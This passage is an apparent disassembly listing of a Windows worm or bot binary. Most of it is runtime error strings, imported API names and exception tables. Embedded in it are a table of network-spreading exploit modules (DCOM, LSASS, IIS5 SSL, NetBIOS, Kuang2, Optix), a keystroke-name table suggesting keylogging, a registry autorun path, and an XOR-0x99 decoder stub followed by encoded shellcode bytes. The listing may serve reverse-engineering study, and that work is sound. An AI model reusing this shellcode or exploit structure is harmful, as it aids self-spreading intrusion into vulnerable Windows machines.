stru_42C158	_msEH <0FFFFFFFFh, offset loc_41C432, offset loc_41C436>
					; DATA XREF: sub_41C139+2o
		dd 0FFFFFFFFh, 41C22Fh,	41C233h, 0FFFFFFFFh, 41C2FDh, 41C301h
		dd 0
		db 2 dup(0)
word_42C182	dw 20h			; DATA XREF: sub_420874+18r
					; .text:004323D0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0)
		db 2 dup(0)
word_42C38A	dw 20h			; DATA XREF: .text:off_432A44o
aHH_0:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 10h dup(200020h), 480020h, 8	dup(100010h), 140010h
		dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
		dd 0Bh dup(1010101h), 1010010h,	3 dup(1010101h), 0Ch dup(1020102h)
		dd 1020010h, 3 dup(1020102h), 1010102h,	0
stru_42C590	_msEH <0FFFFFFFFh, offset sub_41C512, offset loc_41C516>
					; DATA XREF: sub_41C526-2Fo
		align 10h
stru_42C5A0	_msEH <0FFFFFFFFh, 0, offset sub_41C700> ; DATA	XREF: sub_41C653+2o
		align 10h
		dd offset loc_41C6C6
		dd offset loc_41C6CF
stru_42C5B8	_msEH <0FFFFFFFFh, offset sub_41C755, offset loc_41C75E>
					; DATA XREF: sub_41C721+2o
		align 8
stru_42C5C8	_msEH <0FFFFFFFFh, 0, offset sub_41C8C0> ; DATA	XREF: sub_41C783+2o
		align 8
		dd offset loc_41C808
		dd offset loc_41C84B
stru_42C5E0	_msEH <0FFFFFFFFh, offset sub_41CA9A, offset loc_41CA9E>
					; DATA XREF: sub_41C92A+2o
		align 10h
stru_42C5F0	_msEH <0FFFFFFFFh, offset loc_41CE76, offset loc_41CE7A>
					; DATA XREF: sub_41CE51+2o
		align 10h
stru_42C600	_msEH <0FFFFFFFFh, offset loc_41CEA3, offset loc_41CEA7>
					; DATA XREF: sub_41CE86+2o
		align 10h
stru_42C610	_msEH <0FFFFFFFFh, 0, offset sub_41D159> ; DATA	XREF: sub_41D0F6+2o
		align 10h
stru_42C620	_msEH <0FFFFFFFFh, 0, offset sub_41D442> ; DATA	XREF: sub_41D2FB+2o
		align 10h
stru_42C630	_msEH <0FFFFFFFFh, 0, offset sub_41D5D6> ; DATA	XREF: sub_41D5A4+2o
		align 10h
stru_42C640	_msEH <0FFFFFFFFh, offset loc_41D61B, offset loc_41D61F>
					; DATA XREF: sub_41D5EE+2o
		align 10h
stru_42C650	_msEH <0FFFFFFFFh, offset loc_41D65F, offset loc_41D663>
					; DATA XREF: sub_41D632+2o
		align 10h
stru_42C660	_msEH <0FFFFFFFFh, 0, offset sub_41D76E> ; DATA	XREF: sub_41D6EA+2o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_432B5Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D8F7+12Co
					; sub_4204ED+134o
		align 10h
asc_42C990	db 0Ah			; DATA XREF: sub_41D8F7+110o
					; sub_4204ED+101o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D8F7+FEo
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D8F7+CAo
					; sub_4204ED+D1o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D8F7+89o
					; sub_4204ED+88o
		align 10h
stru_42C9D0	_msEH <0FFFFFFFFh, 0, offset sub_41E492> ; DATA	XREF: sub_41E40E+2o
		align 10h
stru_42C9E0	_msEH <0FFFFFFFFh, 0, offset sub_41E655> ; DATA	XREF: sub_41E5AE+2o
		align 10h
stru_42C9F0	_msEH <0FFFFFFFFh, offset loc_41E9B9, offset loc_41E9BD>
					; DATA XREF: sub_41E8E0+2o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .text:00432D4Co
aMmDdYy		db 'MM/dd/yy',0
		align 4
aDecember	db 'December',0
		align 4
aNovember	db 'November',0
		align 4
aOctober	db 'October',0
aSeptember	db 'September',0
		align 4
aAugust		db 'August',0
		align 10h
aJuly		db 'July',0
		align 4
aJune		db 'June',0
		align 10h
aApril		db 'April',0
		align 4
aMarch		db 'March',0
		align 10h
aFebruary	db 'February',0
		align 4
aJanuary	db 'January',0
aDec		db 'Dec',0
aNov		db 'Nov',0
aOct		db 'Oct',0
aSep		db 'Sep',0
aAug		db 'Aug',0
aJul		db 'Jul',0
aJun		db 'Jun',0
aMay		db 'May',0
aApr		db 'Apr',0
aMar		db 'Mar',0
aFeb		db 'Feb',0
aJan		db 'Jan',0
aSaturday	db 'Saturday',0
		align 10h
aFriday		db 'Friday',0
		align 4
aThursday	db 'Thursday',0
		align 4
aWednesday	db 'Wednesday',0
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: .text:00432CCCo
aMonday		db 'Monday',0           ; DATA XREF: .text:00432CC8o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: .text:00432CC4o
		align 4
aSat		db 'Sat',0
aFri		db 'Fri',0
aThu		db 'Thu',0              ; DATA XREF: .text:00432CB8o
aWed		db 'Wed',0              ; DATA XREF: .text:00432CB4o
aTue		db 'Tue',0
aMon		db 'Mon',0
aSun		db 'Sun',0              ; DATA XREF: .text:off_432CA8o
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_41EF60+2Do
		align 10h
stru_42CB40	_msEH <0FFFFFFFFh, offset loc_41EFBD, offset loc_41EFCB>
					; DATA XREF: sub_41EF60+2o
		align 10h
stru_42CB50	_msEH <0FFFFFFFFh, 0, offset sub_41F7CB> ; DATA	XREF: sub_41F72E+2o
		align 10h
stru_42CB60	_msEH <0FFFFFFFFh, 0, offset sub_41F87C> ; DATA	XREF: sub_41B07E+476Eo
		align 10h
stru_42CB70	_msEH <0FFFFFFFFh, 0, offset sub_41FBB1> ; DATA	XREF: sub_41FB6C+2o
		align 10h
stru_42CB80	_msEH <0FFFFFFFFh, offset loc_42039D, offset loc_4203A1>
					; DATA XREF: sub_4202C8+2o
dword_42CB8C	dd 676F7250h, 3A6D6172h, 20haABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: sub_4204ED+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: sub_4204ED:loc_42054Ao
		align 8
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: sub_4204ED+4Fo
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: sub_4204ED+4Ao
		align 10h
stru_42CD30	_msEH <0FFFFFFFFh, offset loc_420528, offset loc_42052C>
					; DATA XREF: sub_4204ED+5o
		align 10h
stru_42CD40	_msEH <0FFFFFFFFh, 0, offset sub_42076F> ; DATA	XREF: sub_420705+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_42077B+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_42077B+62o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42077B+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42077B+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42077B+2Eo
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4210C1:loc_4211B0o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4210C1+D2o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4210C1+C1o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4210C1+A7o
		align 10h
stru_42CE10	_msEH <0FFFFFFFFh, 0, offset sub_4214B6> ; DATA	XREF: sub_421383+2o
		align 10h
stru_42CE20	_msEH <0FFFFFFFFh, offset loc_421AF0, offset loc_421AF4>
					; DATA XREF: sub_4219DA+2o
		dd 0FFFFFFFFh, 421B7Dh,	421B81h
stru_42CE38	_msEH <0FFFFFFFFh, offset loc_421D81, offset loc_421D85>
					; DATA XREF: sub_421C8A+2o
		dd 0FFFFFFFFh, 421DF3h,	421DF7h, 0
dword_42CE54	dd 2 dup(0)						; sub_41D5EE:loc_41D601o
dword_42CE5C	dd 0							; sub_41D632:loc_41D645o
		dd 0FFFFFFFFh, 421EAFh
dword_42CE68	dd 19930520h, 1, 42CE60h, 4 dup(0)		dd 2CEC0h, 2 dup(0)
		dd 2D688h, 22000h, 2D0A0h, 2 dup(0)
		dd 2D696h, 221E0h, 5 dup(0)
		dd 7C802442h, 7C910331h, 7C810637h, 7C80B4CFh, 7C80C058h
		dd 7C9010EDh, 7C901005h, 7C80929Ch, 7C80B829h, 7C91188Ah
		dd 7C80A7D4h, 7C809B47h, 7C810D87h, 7C801A24h, 7C80A427h
		dd 7C82FA46h, 7C81CDDAh, 7C802367h, 7C814EEAh, 7C80EDD7h
		dd 7C834EB1h, 7C8137D9h, 7C91043Dh, 7C9105D4h, 7C80ABC1h
		dd 7C80E7ECh, 7C80E866h, 7C80B9A0h, 7C8021CCh, 7C812D56h
		dd 7C8309E1h, 7C80ABDEh, 7C80F0F4h, 7C80ADA0h, 7C801D77h
		dd 7C80180Eh, 7C810B8Eh, 7C810A77h, 7C83632Dh, 7C8361EEh
		dd 7C81153Ch, 7C80B6A1h, 7C82F7A0h, 7C80FE82h, 7C80FF19h
		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C8329D9h, 7C812782h, 7C835DCAh, 7C809BF8h, 7C80A0D4h
		dd 7C8216A4h, 7C80DDF5h, 7C831EABh, 7C801E16h, 7C80BAA1h
		dd 7C81CE03h, 7C835E8Fh, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h
		dd 7C81B58Bh, 7C80D262h, 7C812ADEh, 7C830B14h, 7C873A31h
		dd 7C80A05Dh, 7C8310F2h, 7C8312E5h, 7C832044h, 7C9109EDh
		dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C812641h, 7C81DC03h
		dd 7C809EF1h, 7C80A490h, 7C9179FDh, 7C8017E5h, 7C937A40h
		dd 7C801EEEh, 7C812F1Dh, 7C8136D7h, 7C910340h, 7C809728h
		dd 7C809BC5h, 7C809740h, 7C812D9Fh, 7C810EF8h, 7C812BB6h
		dd 7C809AE4h, 7C809A51h, 7C809E79h, 7C801AD0h, 7C80B9D1h
		dd 7C838DE8h, 7C80CCA8h, 7C809915h, 7C8127A7h, 7C812E76h
		dd 7C812F39h, 7C862E2Ah, 7C81DF77h, 7C81CF5Bh, 7C814AE7h
		dd 7C812F08h, 7C80CC97h, 7C810E51h, 7C838A0Ch, 0
		dd 71AB3EA1h, 71AB4519h, 71AB3E00h, 71AB88D3h, 71AB2DC0h
		dd 71AB4544h, 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB664Dh
		dd 71AB3B91h, 71AB2BF4h, 71AB2B66h, 71AB406Ah, 71AB9639h
		dd 71AB4428h, 0
		db  29h	; )
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  5Ah	; Z
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aE_0		db 'e',0
aCreatethread	db 'CreateThread',0
		align 4
		db  65h	; e
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
aM_1		db '',0
aExitthread	db 'ExitThread',0
		align 10h
		db  2Dh	; -
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
		db 0BEh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 10h
		db    3
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aV_0		db 'v',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  5Ch	; \
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 10h
		db ',',0
aClosehandle	db 'CloseHandle',0
		dw 376h
aWritefile	db 'WriteFile',0
aJ_0		db 'J',0
aCreatefilea	db 'CreateFileA',0
		db  7Eh	; ~
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 27Fh
aQueryperform_1	db 'QueryPerformanceFrequency',0
		db '',0
aExitprocess	db 'ExitProcess',0
		db '\',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 1A6h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db '',0
aFindclose	db 'FindClose',0
		db '',0
aFindnextfilea	db 'FindNextFileA',0
		db '',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 1F5h
aHeapfree	db 'HeapFree',0
		align 2
		dw 1EFh
aHeapalloc	db 'HeapAlloc',0
		dw 18Bh
aGetprocessheap	db 'GetProcessHeap',0
		align 4
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 4
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		dw 35Eh
aVirtualqueryex	db 'VirtualQueryEx',0
		align 10h
		db  93h	; 
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		db 0A8h	; 
		db 1, 47h, 65h
aTsysteminfo	db 'tSystemInfo',0
		db  61h	; a
		db 2, 4Fh, 70h
aEnprocess	db 'enProcess',0
		db '',0
aFreelibrary	db 'FreeLibrary',0
		db  43h	; C
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableW',0
		dw 189h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  2Eh	; .
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 90h
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db 0F1h	; 
		db 2, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		align 2
		dw 14Dh
aGetfilesize	db 'GetFileSize',0
		db 0BFh	; 
		db 1, 47h, 65h
aTtimeformata	db 'tTimeFormatA',0
		align 2
		dw 133h
aGetdateformata	db 'GetDateFormatA',0
		align 4
		db  48h	; H
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 167h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aR_0		db '',0
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db 0E9h	; 
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db 0E2h	; 
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 345h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  44h	; D
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aK_0		db 'K',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 2F5h
aSetfiletime	db 'SetFileTime',0
		dd 6547014Fh, 6C694674h, 6D695465h, 0AE0065h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 2EFh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db 0B6h	; 
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  51h	; Q
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 369h
aWidechartomult	db 'WideCharToMultiByte',0
		db    1
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 4
		db  2Fh	; /
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db 'x',0
aDeletefilea	db 'DeleteFileA',0
		dw 331h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 395h
aLstrcmpia	db 'lstrcmpiA',0
		dw 332h
aTerminatethrea	db 'TerminateThread',0
		db  4Ah	; J
		db 2, 4Dh, 6Fh
aVefilea	db 'veFileA',0
		db  30h	; 0
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcessId',0
		db ':',0
aCopyfilea	db 'CopyFileA',0
		dw 365h
aWaitforsingleo	db 'WaitForSingleObject',0
aW		db 'W',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		db  44h	; D
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 26Ch
aPeeknamedpipe	db 'PeekNamedPipe',0
aI_1		db '',0
aDuplicatehandl	db 'DuplicateHandle',0
		db '[',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 2C8h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 15Dh
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		db 0C8h	; 
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  61h	; a
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db '',0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
		db  63h	; c
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1E3h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
		db  3Bh	; ;
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		dw 1F9h
aHeaprealloc	db 'HeapReAlloc',0
		db 0ACh	; 
		db 1, 47h, 65h
aTsystemtimeasf	db 'tSystemTimeAsFileTime',0
		dw 2B1h
aRtlunwind	db 'RtlUnwind',0
		dw 19Ch
aGetstartupinfo	db 'GetStartupInfoA',0
		db 0FDh	; 
		align 2
aGetcommandline	db 'GetCommandLineA',0
		dw 337h
aTlsfree	db 'TlsFree',0
		db 0FEh	; 
		db 2, 53h, 65h
aTlasterror_0	db 'tLastError',0
		align 4
		db  32h	; 2
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 339h
aTlssetvalue	db 'TlsSetValue',0
		db  38h	; 8
		db 3, 54h, 6Ch
aSgetvalue	db 'sGetValue',0
		dw 336h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 1F3h
aHeapdestroy	db 'HeapDestroy',0
		db 0F1h	; 
		db 1, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 358h
aVirtualfree	db 'VirtualFree',0
		db  55h	; U
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  14h
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  5Bh	; [
		db 3, 56h, 69h
aRtualprotect	db 'rtualProtect',0
		align 2
		dw 35Dh
aVirtualquery	db 'VirtualQuery',0
		align 2
		dw 220h
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 221h
aLcmapstringw	db 'LCMapStringW',0
		align 2
aI_2		db '',0
aGetacp		db 'GetACP',0
		align 4
		db  7Ch	; |
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db 0F1h	; 
		align 2
aGetcpinfo	db 'GetCPInfo',0
		db  9Eh	; 
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 10h
		db  42h	; B
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aU_0		db '',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 13Fh
aGetenvironment	db 'GetEnvironmentStrings',0
aF		db '',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  41h	; A
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStringsW',0
		align 2
		dw 2FAh
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470150h, 6C694674h, 70795465h, 19F0065h, 53746547h
		dd 6E697274h, 70795467h, 4165h,	654701A2h, 72745374h, 54676E69h
		dd 57657079h, 2020000h
aInitializecr_0	db 'InitializeCriticalSection',0
		dw 30Ch
aSetstdhandle	db 'SetStdHandle',0
		align 2
		db '',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 2
		dw 31Dh
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 73490211h, 52646142h, 50646165h, 7274h, 7349020Eh, 43646142h
		dd 5065646Fh, 7274h, 654801FBh,	69537061h, 657Ah, 655302E8h
		dd 646E4574h, 6946664Fh, 656Ch,	1A4h dup(0)
dword_42E000	dd 0				dd offset sub_420497
dword_42E008	dd 0		dword_42E00C	dd 0				dd offset sub_41AFD5
		dd offset sub_41D44B
		dd offset sub_41D57C
		dd offset sub_42067D
dword_42E020	dd 0		dword_42E024	dd 0				dd offset sub_41B07E
dword_42E02C	dd 0		dword_42E030	dd 0							; DATA XREF: sub_4182E0:loc_41836Eo
		dd offset sub_420690
dword_42E038	dd 2 dup(0)	aWebdav		db 'webdav',0           ; DATA XREF: sub_401950+155o
		align 4
		db 2 dup(0)
aWebdav_0	db 'WebDav',0           ; DATA XREF: sub_413C0C+2B2o
					; .text:004147F7o ...
		align 4
		dd 5 dup(0)
dword_42E068	dd 50h							; sub_409806+4425r ...
off_42E06C	dd offset sub_413C0C	; DATA XREF: sub_401950+1D7r
dword_42E070	dd 0		dword_42E074	dd 1		dword_42E078	dd 0		aNetbios	db 'netbios',0
		dd 654E0000h, 6F694274h, 73h, 5	dup(0)
		dd 8Bh,	416176h, 3 dup(0)
aNtpass		db 'ntpass',0
		align 10h
		dd 544E0000h, 73736150h, 6 dup(0)
		dd 1BDh, 416176h, 3 dup(0)
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	414520h, 0
		dd 1, 0
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 414520h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 10h
		dd 5 dup(0)
		dd 401h, 414520h, 0
		dd 1, 0
aDcom2		db 'dcom2',0
		align 10h
		dd 63440000h, 326D6Fh, 6 dup(0)
		dd 87h,	41485Ch, 0
		dd 1, 0
aIis5ssl	db 'iis5ssl',0
		dd 49490000h, 53533553h, 4Ch, 5	dup(0)
		dd 1BBh, 414A8Fh, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 41564Fh, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	41581Ah, 0
		dd 2 dup(1), 6974706Fh,	78h, 704F0000h,	786974h, 6 dup(0)
		dd 0C44h, 416343h, 3 dup(0)
aKuang2		db 'kuang2',0
		align 4
		dd 754B0000h, 32676E61h, 6 dup(0)
		dd 4394h, 414DFAh, 12h dup(0)
aLsass_445_1	db 'lsass_445',0
byte_42E356	db 1			; DATA XREF: sub_409806:loc_40DBA3r
					; sub_409806+43A9o
aLsass_139	db 'lsass_139',0
		db 1, 2	dup(0)
		align 10h


loc_42E370:				; DATA XREF: .text:00414BA3o
		jmp	short loc_42E382

; =============== S U B	R O U T	I N E =======================================



sub_42E372	proc near		; CODE XREF: sub_42E372:loc_42E382p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42E37A:				; CODE XREF: sub_42E372+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42E37A
		jmp	short loc_42E387
; ---------------------------------------------------------------------------


loc_42E382:				; CODE XREF: .text:loc_42E370j
		call	sub_42E372


loc_42E387:				; CODE XREF: sub_42E372+Ej
		jo	short near ptr dword_42E2FC+26h
		cwde
		cdq
		cdq
		retn
sub_42E372	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_42E4F0	dd 80000002h	off_42E4F4	dd offset aSoftwareMicr_0 ; DATA XREF: sub_40210D+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42FEA8h, 80000001h, 42FEE0h
dword_42E508	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E554	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_42E570:				; DATA XREF: sub_403FEB+10Fo
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E584	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_403FEB+138o
		dd 8
dword_42E59C	dd 62h,	62000000h, 2 dup(0)		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
